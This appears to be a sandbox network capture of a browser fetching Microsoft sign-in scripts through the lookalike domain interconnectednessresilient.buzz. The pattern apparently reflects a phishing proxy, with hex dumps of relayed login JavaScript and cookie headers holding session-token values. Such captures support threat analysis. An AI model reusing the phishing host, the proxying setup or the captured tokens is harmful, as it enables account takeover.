2025-01-14 14:56:19 UTC	16384	IN	Data Raw: 20 20 28 65 2e 65 78 70 6f 72 74 73 20 3d 20 70 29 3b 0a 20 20 7d 2c 0a 20 20 66 75 6e 63 74 69 6f 6e 20 28 65 2c 20 6e 2c 20 74 29 20 7b 0a 20 20 20 20 76 61 72 20 69 20 3d 20 74 28 32 29 2c 0a 20 20 20 20 20 20 61 20 3d 20 74 28 31 29 2c 0a 20 20 20 20 20 20 6f 20 3d 20 74 28 34 29 2c 0a 20 20 20 20 20 20 72 20 3d 20 74 28 30 29 2c 0a 20 20 20 20 20 20 73 20 3d 20 77 69 6e 64 6f 77 2c 0a 20 20 20 20 20 20 63 20 3d 20 72 2e 44 69 61 6c 6f 67 49 64 3b 0a 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 64 28 65 29 20 7b 0a 20 20 20 20 20 20 76 61 72 20 6e 20 3d 20 74 68 69 73 2c 0a 20 20 20 20 20 20 20 20 74 20 3d 20 65 2e 69 73 50 6c 61 74 66 6f 72 6d 41 75 74 68 65 6e 74 69 63 61 74 6f 72 41 76 61 69 6c 61 62 6c 65 3b 0a 20 20 20 20 20 20 28 6e 2e 6f 6e 52 65 67 Data Ascii: (e.exports = p); }, function (e, n, t) { var i = t(2), a = t(1), o = t(4), r = t(0), s = window, c = r.DialogId; function d(e) { var n = this, t = e.isPlatformAuthenticatorAvailable; (n.onReg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.6	49985	23.95.206.235	443	7016	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 14:56:18 UTC	3257	OUT	GET /aadcdn.msauth.net/~/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_v20ia-gahguvu2fgvxamhg2.js HTTP/1.1 Host: interconnectednessresilient.buzz Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://interconnectednessresilient.buzz/?7bk3o0j2b=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvdjIuMC9hdXRob3JpemU/Y2xpZW50X2lkPTQ3NjU0NDViLTMyYzYtNDliMC04M2U2LTFkOTM3NjUyNzZjYSZyZWRpcmVjdF91cmk9aHR0cHMlM0ElMkYlMkZ3d3cub2ZmaWNlLmNvbSUyRmxhbmRpbmd2MiZyZXNwb25zZV90eXBlPWNvZGUlMjBpZF90b2tlbiZzY29wZT1vcGVuaWQlMjBwcm9maWxlJTIwaHR0cHMlM0ElMkYlMkZ3d3cub2ZmaWNlLmNvbSUyRnYyJTJGT2ZmaWNlSG9tZS5BbGwmcmVzcG9uc2VfbW9kZT1mb3JtX3Bvc3Qmbm9uY2U9NjM4NzI0NjMzNzQ1NTQyMzY0Lll6WTBOREF5WVdFdFkyRXpPUzAwWlRoakxUaGlZMkl0WVdRM05XSTBObVptWXpRM1pHWTNPV1U0WkRjdE5tWmtPQzAwTkRBekxUZ3pNalF0WldWa01qTXpNV05sTnpSaiZ1aV9sb2NhbGVzPWVuLVVTJm1rdD1lbi1VUyZjbGllbnQtcmVxdWVzdC1pZD0xYzkwNjgwMS1kY2I0LTQ5ODItOWUwNi1jNTQzNzRlM2UxZGYmc3RhdGU9Q0c2dmY4QUQ3eGp3aTgtMkNwY2ZFTmZyWE52WGExamJpMXQwbGx4djlqTmc5bnhsZFBTOEYwWUpBN3hidTJlWXlYLVB1MWVkX0lQanpNT2pQc1hOV1BZZVV4cFNSNzZfOWZjVHg5OE5XVWdZRC1mdWtHaWtOUTdSQ1VodFFFMTl3TnF3TkdjQjVZd2hWNHRycnUzVGJzbjlZdjcwNVBYWmJJWHFWbFB6Q2w4NzBmTUFSV0Z4Q1JKQ241enZmMTdwd1Jvb2NvcFBhczhJR2pwV3hLd2J4bmczWHF [TRUNCATED] Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=ecK0wqFiqa5h; qPdM.sig=u72gfGBaoIpRGBdcRDkZXkbESRM; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; OH.DCAffinity=OH-eus; OH.FLID=753f2337-3c17-4548-b06a-e5ac41f3bc6e; .AspNetCore.OpenIdConnect.Nonce.GukXJycHXf-B0eNW-DdKGxGtpRBNqq-ZxjW-hMSZPaKEWV50oJMLfJkYv0bpBCmF9Eh7uDlgYo2kb5DJ88uwMHdxNBS3WeX7IUBvAttGVtil5k-LnQTPcV7jUFZ4xdz87mKs6v2rtBkMrm9Mv6HblymjqBku9u6F1Xda45-f10VMN4RJyZcZLEoxew3XlWWuTqRHZ_vL-a1HUWZjrn2W9kmXgTYMqY67f0VY52WSGqLfsCc-8TpN2bUZ_g592MaH=N; .AspNetCore.Correlation.TvBSmgzc8wfLy9SWKyBBqMAINBKoRois3QicuvRaAPA=N; esctx-YoQmlPl74ok=AQABCQEAAADW6jl31mB3T7ugrWTT8pFev1CIKNLDHzEK5BZYYh6l0ji03u2z7OYHGWahFh9XQmN9j2JgfjTuevFfgnlFHjm7DxnTBebGfGsiA80E87kTDCog1Qs4co_B8fQOisrvgvdhtDYseBAy3yUEEmQU36rybo-4NJydRhRRhMGNZ3W8fCAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.ATcAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAA3AA.AQABGgEAAABVrSpeuWamRam2jAF1XRQEV6blJpo6Gs86EEohfI7teuqd3uhkd915RlLEKBvX-PONr9uEjtcYsPcLcl0v4OUV24ACIa8jLEq1vUf_TbvAC7O60f1uRnWqcsvN3idAyEwgAA; esctx=PAQABBwEAAABVrSpeu [TRUNCATED]
2025-01-14 14:56:18 UTC	1390	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 14:56:18 GMT Content-Type: application/x-javascript content-length: 57678 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Fri, 06 Dec 2024 22:09:39 GMT ETag: 0x8DD1642AD75BC4E x-ms-request-id: e530397e-201e-007c-1777-5beda9000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20250114T145618Z-175dd4d5677z7f48hC1MNZpq940000000qu000000000amqb x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT Accept-Ranges: bytes Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; form-action * data: blob: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src * data: blob: filesystem: ; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem: ; object-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; style-src * data: blob: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline';
2025-01-14 14:56:18 UTC	10	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 Data Ascii:
2025-01-14 14:56:19 UTC	16368	IN	Data Raw: dd 7d 4d 73 23 c7 92 d8 dd bf 02 0f cf f1 86 5c f5 40 f8 e0 27 46 d0 18 04 c0 19 ec 90 00 04 80 33 52 48 32 a2 09 14 c8 7e 04 ba b1 dd 8d e1 f0 51 e3 78 37 1f f6 e0 ab 7d f3 c1 27 1f 7d f1 dd 3f 65 23 d6 bf c3 f9 51 55 5d d5 dd 00 c8 91 56 6f d7 0a c5 10 dd f5 95 95 95 95 95 99 95 99 fd 87 f9 da 9f c6 5e e0 ef 89 fd 47 f5 bb 10 ec f9 fb 8f de 7c cf fb d1 ff 79 3f 14 f1 3a f4 0b f8 bb 24 3e ad 82 30 8e 5e 7d 74 c3 42 dc c0 57 8d 47 f9 ae fe f8 d9 f1 66 75 df 59 04 ee 4c cc ea 7f a8 7c 7e 25 9b 0a 6c 3a 75 17 8b bd 58 f5 e0 c4 4e f2 3b d8 87 07 6e d6 f8 43 39 29 f8 8c c3 78 8d 47 dd 51 50 5a 36 84 13 94 a6 0d 0f fe 5d 35 8a 45 27 d8 2b ef 7f de fb 31 99 86 13 38 1e 00 bf 57 dd 27 28 fd 86 b7 57 81 fe e1 cf e1 be 13 c2 9f a3 7d c7 6d 84 a5 51 1c 7a fe 4d f4 Data Ascii: }Ms#\@'F3RH2~Qx7}'}?e#QU]Vo^G\|y?:$>0^}tBWGfuYL\|~%l:uXN;nC9)xGQPZ6]5E'+18W'(W}mQzM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.6	49993	23.95.206.235	443	7016	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 14:56:19 UTC	1933	OUT	GET /aadcdn.msauth.net/~/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_v20ia-gahguvu2fgvxamhg2.js HTTP/1.1 Host: interconnectednessresilient.buzz Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=ecK0wqFiqa5h; qPdM.sig=u72gfGBaoIpRGBdcRDkZXkbESRM; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; OH.DCAffinity=OH-eus; OH.FLID=753f2337-3c17-4548-b06a-e5ac41f3bc6e; .AspNetCore.OpenIdConnect.Nonce.GukXJycHXf-B0eNW-DdKGxGtpRBNqq-ZxjW-hMSZPaKEWV50oJMLfJkYv0bpBCmF9Eh7uDlgYo2kb5DJ88uwMHdxNBS3WeX7IUBvAttGVtil5k-LnQTPcV7jUFZ4xdz87mKs6v2rtBkMrm9Mv6HblymjqBku9u6F1Xda45-f10VMN4RJyZcZLEoxew3XlWWuTqRHZ_vL-a1HUWZjrn2W9kmXgTYMqY67f0VY52WSGqLfsCc-8TpN2bUZ_g592MaH=N; .AspNetCore.Correlation.TvBSmgzc8wfLy9SWKyBBqMAINBKoRois3QicuvRaAPA=N; esctx-YoQmlPl74ok=AQABCQEAAADW6jl31mB3T7ugrWTT8pFev1CIKNLDHzEK5BZYYh6l0ji03u2z7OYHGWahFh9XQmN9j2JgfjTuevFfgnlFHjm7DxnTBebGfGsiA80E87kTDCog1Qs4co_B8fQOisrvgvdhtDYseBAy3yUEEmQU36rybo-4NJydRhRRhMGNZ3W8fCAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.ATcAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAA3AA.AQABGgEAAABVrSpeuWamRam2jAF1XRQEV6blJpo6Gs86EEohfI7teuqd3uhkd915RlLEKBvX-PONr9uEjtcYsPcLcl0v4OUV24ACIa8jLEq1vUf_TbvAC7O60f1uRnWqcsvN3idAyEwgAA; esctx=PAQABBwEAAABVrSpeu [TRUNCATED]
2025-01-14 14:56:19 UTC	1411	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 14:56:19 GMT Content-Type: application/x-javascript content-length: 57678 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Fri, 06 Dec 2024 22:09:39 GMT ETag: 0x8DD1642AD75BC4E x-ms-request-id: e530397e-201e-007c-1777-5beda9000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20250114T145619Z-175dd4d5677mqmnkhC1MNZvbzc0000003070000000000n2v x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; form-action * data: blob: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src * data: blob: filesystem: ; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem: ; object-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; style-src * data: blob: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline';
2025-01-14 14:56:19 UTC	10	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 Data Ascii:
2025-01-14 14:56:19 UTC	16368	IN	Data Raw: dd 7d 4d 73 23 c7 92 d8 dd bf 02 0f cf f1 86 5c f5 40 f8 e0 27 46 d0 18 04 c0 19 ec 90 00 04 80 33 52 48 32 a2 09 14 c8 7e 04 ba b1 dd 8d e1 f0 51 e3 78 37 1f f6 e0 ab 7d f3 c1 27 1f 7d f1 dd 3f 65 23 d6 bf c3 f9 51 55 5d d5 dd 00 c8 91 56 6f d7 0a c5 10 dd f5 95 95 95 95 95 99 95 99 fd 87 f9 da 9f c6 5e e0 ef 89 fd 47 f5 bb 10 ec f9 fb 8f de 7c cf fb d1 ff 79 3f 14 f1 3a f4 0b f8 bb 24 3e ad 82 30 8e 5e 7d 74 c3 42 dc c0 57 8d 47 f9 ae fe f8 d9 f1 66 75 df 59 04 ee 4c cc ea 7f a8 7c 7e 25 9b 0a 6c 3a 75 17 8b bd 58 f5 e0 c4 4e f2 3b d8 87 07 6e d6 f8 43 39 29 f8 8c c3 78 8d 47 dd 51 50 5a 36 84 13 94 a6 0d 0f fe 5d 35 8a 45 27 d8 2b ef 7f de fb 31 99 86 13 38 1e 00 bf 57 dd 27 28 fd 86 b7 57 81 fe e1 cf e1 be 13 c2 9f a3 7d c7 6d 84 a5 51 1c 7a fe 4d f4 Data Ascii: }Ms#\@'F3RH2~Qx7}'}?e#QU]Vo^G\|y?:$>0^}tBWGfuYL\|~%l:uXN;nC9)xGQPZ6]5E'+18W'(W}mQzM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.6	49998	23.95.206.235	443	7016	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 14:56:20 UTC	1914	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/js/ConvergedLogin_PCore_n7VKwtWYm2mBLcIKAZfQlw2.js HTTP/1.1 Host: interconnectednessresilient.buzz Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=ecK0wqFiqa5h; qPdM.sig=u72gfGBaoIpRGBdcRDkZXkbESRM; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; OH.DCAffinity=OH-eus; OH.FLID=753f2337-3c17-4548-b06a-e5ac41f3bc6e; .AspNetCore.OpenIdConnect.Nonce.GukXJycHXf-B0eNW-DdKGxGtpRBNqq-ZxjW-hMSZPaKEWV50oJMLfJkYv0bpBCmF9Eh7uDlgYo2kb5DJ88uwMHdxNBS3WeX7IUBvAttGVtil5k-LnQTPcV7jUFZ4xdz87mKs6v2rtBkMrm9Mv6HblymjqBku9u6F1Xda45-f10VMN4RJyZcZLEoxew3XlWWuTqRHZ_vL-a1HUWZjrn2W9kmXgTYMqY67f0VY52WSGqLfsCc-8TpN2bUZ_g592MaH=N; .AspNetCore.Correlation.TvBSmgzc8wfLy9SWKyBBqMAINBKoRois3QicuvRaAPA=N; esctx-YoQmlPl74ok=AQABCQEAAADW6jl31mB3T7ugrWTT8pFev1CIKNLDHzEK5BZYYh6l0ji03u2z7OYHGWahFh9XQmN9j2JgfjTuevFfgnlFHjm7DxnTBebGfGsiA80E87kTDCog1Qs4co_B8fQOisrvgvdhtDYseBAy3yUEEmQU36rybo-4NJydRhRRhMGNZ3W8fCAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.ATcAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAA3AA.AQABGgEAAABVrSpeuWamRam2jAF1XRQEV6blJpo6Gs86EEohfI7teuqd3uhkd915RlLEKBvX-PONr9uEjtcYsPcLcl0v4OUV24ACIa8jLEq1vUf_TbvAC7O60f1uRnWqcsvN3idAyEwgAA; esctx=PAQABBwEAAABVrSpeu [TRUNCATED]
2025-01-14 14:56:20 UTC	139	IN	HTTP/1.1 200 OK Content-Length: 689017 Content-Type: application/x-javascript Date: Tue, 14 Jan 2025 14:56:20 GMT Connection: close
2025-01-14 14:56:20 UTC	16245	IN	Data Raw: 0a 21 28 66 75 6e 63 74 69 6f 6e 20 28 65 29 20 7b 0a 20 20 66 75 6e 63 74 69 6f 6e 20 6e 28 6e 29 20 7b 0a 20 20 20 20 66 6f 72 20 28 76 61 72 20 74 2c 20 69 2c 20 6f 20 3d 20 6e 5b 30 5d 2c 20 72 20 3d 20 6e 5b 31 5d 2c 20 73 20 3d 20 30 2c 20 63 20 3d 20 5b 5d 3b 20 73 20 3c 20 6f 2e 6c 65 6e 67 74 68 3b 20 73 2b 2b 29 0a 20 20 20 20 20 20 28 69 20 3d 20 6f 5b 73 5d 29 2c 0a 20 20 20 20 20 20 20 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 61 2c 20 69 29 20 26 26 20 61 5b 69 5d 20 26 26 20 63 2e 70 75 73 68 28 61 5b 69 5d 5b 30 5d 29 2c 0a 20 20 20 20 20 20 20 20 28 61 5b 69 5d 20 3d 20 30 29 3b 0a 20 20 20 20 66 6f 72 20 28 74 20 69 6e 20 72 29 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f Data Ascii: !(function (e) { function n(n) { for (var t, i, o = n[0], r = n[1], s = 0, c = []; s < o.length; s++) (i = o[s]), Object.prototype.hasOwnProperty.call(a, i) && a[i] && c.push(a[i][0]), (a[i] = 0); for (t in r) Object.proto
2025-01-14 14:56:20 UTC	16384	IN	Data Raw: 6f 63 6b 65 64 3a 20 31 30 30 2c 0a 20 20 20 20 20 20 20 20 54 69 6c 65 73 3a 20 31 30 32 2c 0a 20 20 20 20 20 20 20 20 52 65 6d 6f 74 65 43 6f 6e 6e 65 63 74 3a 20 31 30 33 2c 0a 20 20 20 20 20 20 20 20 46 65 64 43 6f 6e 66 6c 69 63 74 3a 20 31 30 35 2c 0a 20 20 20 20 20 20 20 20 57 69 6e 31 30 48 6f 73 74 5f 4c 6f 67 69 6e 3a 20 31 30 36 2c 0a 20 20 20 20 20 20 20 20 57 69 6e 31 30 48 6f 73 74 5f 4c 6f 67 69 6e 5f 50 68 6f 6e 65 53 69 67 6e 69 6e 3a 20 31 30 37 2c 0a 20 20 20 20 20 20 20 20 57 69 6e 31 30 48 6f 73 74 5f 46 69 6e 69 73 68 3a 20 31 30 38 2c 0a 20 20 20 20 20 20 20 20 57 69 6e 31 30 48 6f 73 74 5f 53 74 72 6f 6e 67 41 75 74 68 3a 20 31 30 39 2c 0a 20 20 20 20 20 20 20 20 57 69 6e 31 30 48 6f 73 74 5f 48 49 50 5f 4c 6f 67 69 6e 3a 20 31 31 Data Ascii: ocked: 100, Tiles: 102, RemoteConnect: 103, FedConflict: 105, Win10Host_Login: 106, Win10Host_Login_PhoneSignin: 107, Win10Host_Finish: 108, Win10Host_StrongAuth: 109, Win10Host_HIP_Login: 11
2025-01-14 14:56:20 UTC	16384	IN	Data Raw: 20 28 50 52 4f 4f 46 20 3d 20 7b 0a 20 20 20 20 20 20 20 20 54 79 70 65 3a 20 7b 0a 20 20 20 20 20 20 20 20 20 20 45 6d 61 69 6c 3a 20 31 2c 0a 20 20 20 20 20 20 20 20 20 20 41 6c 74 45 6d 61 69 6c 3a 20 32 2c 0a 20 20 20 20 20 20 20 20 20 20 53 4d 53 3a 20 33 2c 0a 20 20 20 20 20 20 20 20 20 20 44 65 76 69 63 65 49 64 3a 20 34 2c 0a 20 20 20 20 20 20 20 20 20 20 43 53 53 3a 20 35 2c 0a 20 20 20 20 20 20 20 20 20 20 53 51 53 41 3a 20 36 2c 0a 20 20 20 20 20 20 20 20 20 20 43 65 72 74 69 66 69 63 61 74 65 3a 20 37 2c 0a 20 20 20 20 20 20 20 20 20 20 48 49 50 3a 20 38 2c 0a 20 20 20 20 20 20 20 20 20 20 42 69 72 74 68 64 61 79 3a 20 39 2c 0a 20 20 20 20 20 20 20 20 20 20 54 4f 54 50 41 75 74 68 65 6e 74 69 63 61 74 6f 72 3a 20 31 30 2c 0a 20 20 20 20 20 20 Data Ascii: (PROOF = { Type: { Email: 1, AltEmail: 2, SMS: 3, DeviceId: 4, CSS: 5, SQSA: 6, Certificate: 7, HIP: 8, Birthday: 9, TOTPAuthenticator: 10,
2025-01-14 14:56:20 UTC	16384	IN	Data Raw: 0a 20 20 20 20 20 20 20 20 20 20 6e 20 7c 7c 20 22 22 20 3d 3d 3d 20 6e 20 7c 7c 20 28 6e 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 73 65 61 72 63 68 29 3b 0a 20 20 20 20 20 20 20 20 20 20 76 61 72 20 74 20 3d 20 50 2e 70 61 72 73 65 28 6e 29 3b 0a 20 20 20 20 20 20 20 20 20 20 74 2e 71 75 65 72 79 20 3d 20 74 2e 71 75 65 72 79 20 7c 7c 20 7b 7d 3b 0a 20 20 20 20 20 20 20 20 20 20 76 61 72 20 69 20 3d 20 73 2e 66 69 6e 64 4f 77 6e 50 72 6f 70 65 72 74 79 28 74 2e 71 75 65 72 79 2c 20 65 2c 20 21 30 29 3b 0a 20 20 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 69 20 3f 20 74 2e 71 75 65 72 79 5b 69 5d 20 3a 20 22 22 3b 0a 20 20 20 20 20 20 20 20 7d 2c 0a 20 20 20 20 20 20 20 20 61 70 70 65 6e 64 4f 72 52 65 70 6c 61 63 65 46 72 6f 6d 43 Data Ascii: n \|\| "" === n \|\| (n = document.location.search); var t = P.parse(n); t.query = t.query \|\| {}; var i = s.findOwnProperty(t.query, e, !0); return i ? t.query[i] : ""; }, appendOrReplaceFromC
2025-01-14 14:56:20 UTC	16384	IN	Data Raw: 5d 2f 67 2c 0a 20 20 20 20 20 20 20 20 20 20 67 61 70 2c 0a 20 20 20 20 20 20 20 20 20 20 69 6e 64 65 6e 74 2c 0a 20 20 20 20 20 20 20 20 20 20 6d 65 74 61 20 3d 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 5c 62 22 3a 20 22 5c 5c 62 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 5c 74 22 3a 20 22 5c 5c 74 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 5c 6e 22 3a 20 22 5c 5c 6e 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 5c 66 22 3a 20 22 5c 5c 66 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 5c 72 22 3a 20 22 5c 5c 72 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 27 22 27 3a 20 27 5c 5c 22 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 5c 5c 22 3a 20 22 5c 5c 5c 5c 22 2c 0a 20 20 20 20 20 20 20 20 20 20 7d 2c 0a 20 20 20 20 20 20 20 20 20 20 Data Ascii: ]/g, gap, indent, meta = { "\b": "\\b", "\t": "\\t", "\n": "\\n", "\f": "\\f", "\r": "\\r", '"': '\\"', "\\": "\\\\", },
2025-01-14 14:56:20 UTC	16384	IN	Data Raw: 20 20 20 20 76 61 72 20 6d 20 3d 20 66 2e 61 64 64 28 64 2c 20 63 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 2e 74 61 72 67 65 74 55 72 6c 20 3d 20 6d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 61 2e 48 61 6e 64 6c 65 72 2e 63 61 6c 6c 28 6e 2c 20 70 29 2c 20 6e 2e 73 65 6e 64 52 65 71 75 65 73 74 28 29 3b 0a 20 20 20 20 20 20 20 20 7d 29 2c 0a 20 20 20 20 20 20 20 20 28 6e 2e 42 65 61 63 6f 6e 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 65 2c 20 74 2c 20 69 2c 20 61 2c 20 6f 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 76 61 72 20 72 20 3d 20 5b 5d 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 73 20 3d 20 76 28 21 30 29 3b 0a 20 20 20 20 20 20 20 20 20 20 70 2e 66 6f 72 45 61 63 68 28 Data Ascii: var m = f.add(d, c); p.targetUrl = m; } } a.Handler.call(n, p), n.sendRequest(); }), (n.Beacon = function (e, t, i, a, o) { var r = [], s = v(!0); p.forEach(
2025-01-14 14:56:20 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 6e 20 3f 20 28 6c 20 3d 3d 3d 20 70 2e 46 54 45 72 72 6f 72 20 3f 20 68 28 65 2c 20 64 29 20 3a 20 76 28 65 2c 20 64 29 29 20 3a 20 62 28 65 29 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 6b 28 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 28 67 20 3d 20 22 22 29 2c 20 28 6c 20 3d 20 70 2e 45 72 72 6f 72 29 2c 20 28 75 20 3d 20 22 22 29 2c 20 28 66 20 3d 20 22 22 29 2c 20 76 28 64 29 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 54 28 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 28 6c 20 3d 20 70 2e 54 69 6d 65 6f 75 74 29 2c 20 28 75 20 3d 20 22 22 29 2c 20 28 66 20 3d 20 22 22 29 2c 20 28 67 20 3d 20 22 22 29 2c 20 76 28 64 29 3b 0a 20 20 20 20 Data Ascii: n ? (l === p.FTError ? h(e, d) : v(e, d)) : b(e); } function k() { (g = ""), (l = p.Error), (u = ""), (f = ""), v(d); } function T() { (l = p.Timeout), (u = ""), (f = ""), (g = ""), v(d);
2025-01-14 14:56:20 UTC	16384	IN	Data Raw: 3d 20 6e 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 74 20 3d 20 7b 20 63 72 65 64 54 79 70 65 3a 20 6d 2e 4f 6e 65 54 69 6d 65 43 6f 64 65 2c 20 70 72 6f 6f 66 3a 20 65 20 7d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 73 77 69 74 63 68 20 28 28 28 74 2e 70 72 6f 6f 66 2e 69 73 45 6e 63 72 79 70 74 65 64 20 3d 20 21 30 29 2c 20 65 2e 74 79 70 65 29 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 61 73 65 20 50 52 4f 4f 46 2e 54 79 70 65 2e 53 4d 53 3a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 61 73 65 20 50 52 4f 4f 46 2e 54 79 70 65 2e 56 6f 69 63 65 3a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 21 65 2e 69 73 56 6f 69 63 65 4f 6e 6c 79 29 20 7b 0a 20 20 20 20 20 20 20 20 20 Data Ascii: = n) { var t = { credType: m.OneTimeCode, proof: e }; switch (((t.proof.isEncrypted = !0), e.type)) { case PROOF.Type.SMS: case PROOF.Type.Voice: if (!e.isVoiceOnly) {
2025-01-14 14:56:20 UTC	16384	IN	Data Raw: 3d 20 70 2e 61 70 70 65 6e 64 4f 72 52 65 70 6c 61 63 65 28 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 3f 22 20 2b 20 67 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 77 63 74 78 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 4c 6f 67 69 6e 4f 70 74 69 6f 6e 73 25 33 44 33 25 32 36 22 20 2b 20 70 2e 65 78 74 72 61 63 74 28 22 77 63 74 78 22 2c 20 22 3f 22 20 2b 20 67 65 29 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 28 74 20 3d 20 74 2e 73 75 62 73 74 72 28 31 29 29 2c 